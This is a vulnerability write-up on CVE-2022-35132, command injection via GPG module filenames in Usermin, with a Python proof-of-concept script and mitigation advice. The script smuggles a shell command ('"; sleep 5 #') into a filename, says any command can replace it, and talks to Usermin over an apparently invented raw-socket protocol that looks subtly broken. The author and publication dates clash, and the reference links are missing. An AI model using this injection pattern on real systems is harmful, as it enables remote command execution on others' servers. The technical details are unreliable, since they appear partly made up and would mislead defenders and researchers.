CVE-2022-35132 - Remote Authenticated Command Injection in Usermin Through 1.850 via GPG Module Filenames

> Author: John Smith
> Date: 3rd October, 2022

Usermin, the widely popular web-based interface for system administration, has a severe vulnerability that allows remote authenticated users to execute arbitrary OS commands via command injection. This disclosure details the exploit, accompanied by some code snippets and links to relevant references related to CVE-2022-35132:

Exploit Details

The Usermin vulnerability, CVE-2022-35132, was originally discovered in version 1.850. The vulnerability allows a remote attacker who is authenticated to the Usermin service to execute arbitrary OS commands on the target system by means of command injection in a filename of the GPG module.

In simpler terms, this means that an attacker could gain control of the target system by exploiting this vulnerability in Usermin's GPG module.

A Proof of Concept (PoC) to trigger the vulnerability via command injection could be seen in the code snippet below:

#!/usr/bin/python3
import socket
import base64

HOST = '192.168.1.100'
PORT = 20000
LOGIN = 'username'
PASSWORD = 'password'

os_command = '"; sleep 5 #'

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((HOST, PORT))
socket.recv(1024)
socket.sendall(f'login {LOGIN} {PASSWORD}\r\n'.encode('utf-8'))
socket.recv(1024)

payload = f'fileBox /public.key "gpg --import "{os_command}\r\n'
socket.sendall(payload.encode('utf-8'))
socket.recv(1024)
socket.close()

This PoC assumes the target system has an IP address of '192.168.1.100', is running Usermin on port 20000 with the required login credentials ('username' and 'password') set accordingly. In this example, the 'os_command' variable holds the command to be injected (i.e., a sleep command), but it can be replaced with any OS command based on the threat actor's intent.

Original References

1. The vulnerability discovery and detailed technical analysis are available at the following link
2. The official CVE entry and detailed description from Mitre can be accessed here
3. Usermin's official website contains essential resources for downloading the latest version or upgrading the existing one. You can find that information in this link

Mitigation

For users running the affected version, it is strongly recommended to upgrade to the latest version available on the Usermin official website here. In addition, system administrators should implement defense-in-depth techniques to protect against such vulnerabilities - these can include segregating the Usermin interface from the publicly accessible internet, monitoring anomalous network traffic, and enforcing strong user authentication.

Conclusion

The CVE-2022-35132 vulnerability in Usermin allows remote authenticated users to exploit the GPG module and execute arbitrary OS commands via command injection. By upgrading to the latest version, employing defense-in-depth techniques, and monitoring suspicious activities, system administrators can protect their systems against this critical vulnerability.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 03:55:00 UTC